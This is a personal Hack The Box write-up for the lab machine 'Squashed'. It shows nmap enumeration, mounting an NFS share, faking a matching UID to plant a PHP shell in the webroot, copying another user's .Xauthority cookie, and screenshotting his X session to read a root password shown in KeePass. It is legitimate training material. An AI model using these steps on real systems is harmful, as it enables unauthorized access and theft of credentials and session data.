HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration:
  • NFS Share UID Abuse
  • X Session Hijack
  1. Boxes: Easy

Squashed

Personal Rating: hard

The privilege escalation was something I did not consider before, so I had to take a peek in the writeup to get a hint on what to do

Enumeration:

sudo nmap -p- -sV <IP>

22		OpenSSH 8.2p1 4ubuntu0.5
80		apache 2.4.41
111		rpcbind 2-4
2049	        nfs_acl 3

NFS Share UID Abuse

I got access to an nfs share:

sudo nmap --script="*nfs* and not brute" <IP>
showmount <IP>
sudo mount -t nfs <IP>:/home/ross

There was a KeePass database file in ~/Documents of ross' home, but I could not crack it

NFS does not check the user IDs, so you can list the user ID of the webroot user, create a user with the same UID on the local system and place a reverse shell there

ls -ld /mnt/webroot -> shows UID 2017

# Create user with that uid and switch to it
# Place a php shell in the webroot folder

This got me a shell as the user alex

LinPEAS shew me CVE-2021-3560, but I could not make an exploit work.

In ross' home there was the .XAuthority file, which caches the cookie for a screen session. Exploiting or even finding this was new to me up until I did this box.

X Session Hijack

You could imitate the user ross over the nfs share the same way as you did with the webuser alex. Then you could copy the cookie file with this command:

cat .XAuthority | base64 > /tmp/authfile

Then you could go onto the box with alex again and highjack the session with this command:

cat /tmp/authfile | base64 -d > /home/alex/.XAuthority && export XAUTHORITY=/home/alex/.XAuthority

With “w” you could then see, that you have access to ross' screen session. You can create a screenshot then

xwd -root -screen -silent -display :0 > /tmp/screen.xwd

You could then start a python http server in tmp, copy the file over to your host and have a look at it. Then you could see, that the user had keepass open where you could see the root password.

PreviousShoppyNextTrick

Last updated 1 year ago